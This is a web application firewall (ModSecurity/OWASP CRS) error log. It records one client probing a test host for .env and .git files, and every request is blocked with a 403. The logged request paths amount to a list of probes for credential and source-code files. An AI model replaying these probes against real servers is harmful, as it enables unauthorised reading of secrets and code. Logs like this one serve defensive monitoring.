[Sun Mar 01 20:25:36.414008 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEQAAAAI&quot;]
[Sun Mar 01 20:25:36.414229 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEQAAAAI&quot;]
[Sun Mar 01 20:25:36.414419 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEQAAAAI&quot;]
[Sun Mar 01 20:25:36.436606 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEgAAAAI&quot;]
[Sun Mar 01 20:25:36.436833 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEgAAAAI&quot;]
[Sun Mar 01 20:25:36.437004 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTEgAAAAI&quot;]
[Sun Mar 01 20:25:36.504986 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFQAAAAI&quot;]
[Sun Mar 01 20:25:36.505208 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFQAAAAI&quot;]
[Sun Mar 01 20:25:36.505373 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFQAAAAI&quot;]
[Sun Mar 01 20:25:36.528080 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/index&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFgAAAAI&quot;]
[Sun Mar 01 20:25:36.528366 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFgAAAAI&quot;]
[Sun Mar 01 20:25:36.528572 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFgAAAAI&quot;]
[Sun Mar 01 20:25:36.551078 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFwAAAAI&quot;]
[Sun Mar 01 20:25:36.551338 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFwAAAAI&quot;]
[Sun Mar 01 20:25:36.551509 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTFwAAAAI&quot;]
[Sun Mar 01 20:25:36.573976 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGAAAAAI&quot;]
[Sun Mar 01 20:25:36.574214 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGAAAAAI&quot;]
[Sun Mar 01 20:25:36.574420 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGAAAAAI&quot;]
[Sun Mar 01 20:25:36.596665 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGQAAAAI&quot;]
[Sun Mar 01 20:25:36.596918 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGQAAAAI&quot;]
[Sun Mar 01 20:25:36.597081 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/heads/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGQAAAAI&quot;]
[Sun Mar 01 20:25:36.619301 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGgAAAAI&quot;]
[Sun Mar 01 20:25:36.619529 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGgAAAAI&quot;]
[Sun Mar 01 20:25:36.619676 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/master&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGgAAAAI&quot;]
[Sun Mar 01 20:25:36.641909 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGwAAAAI&quot;]
[Sun Mar 01 20:25:36.642169 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGwAAAAI&quot;]
[Sun Mar 01 20:25:36.642326 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/refs/remotes/origin/main&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTGwAAAAI&quot;]
[Sun Mar 01 20:25:36.664559 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHAAAAAI&quot;]
[Sun Mar 01 20:25:36.664795 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHAAAAAI&quot;]
[Sun Mar 01 20:25:36.664975 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/hooks&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHAAAAAI&quot;]
[Sun Mar 01 20:25:36.687504 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHQAAAAI&quot;]
[Sun Mar 01 20:25:36.687743 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHQAAAAI&quot;]
[Sun Mar 01 20:25:36.687909 2026] [:error] [pid 2400023] [client 185.177.72.30:5848] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/info/exclude&quot;] [unique_id &quot;aaSSsJIifMrob6GYX-HTHQAAAAI&quot;]
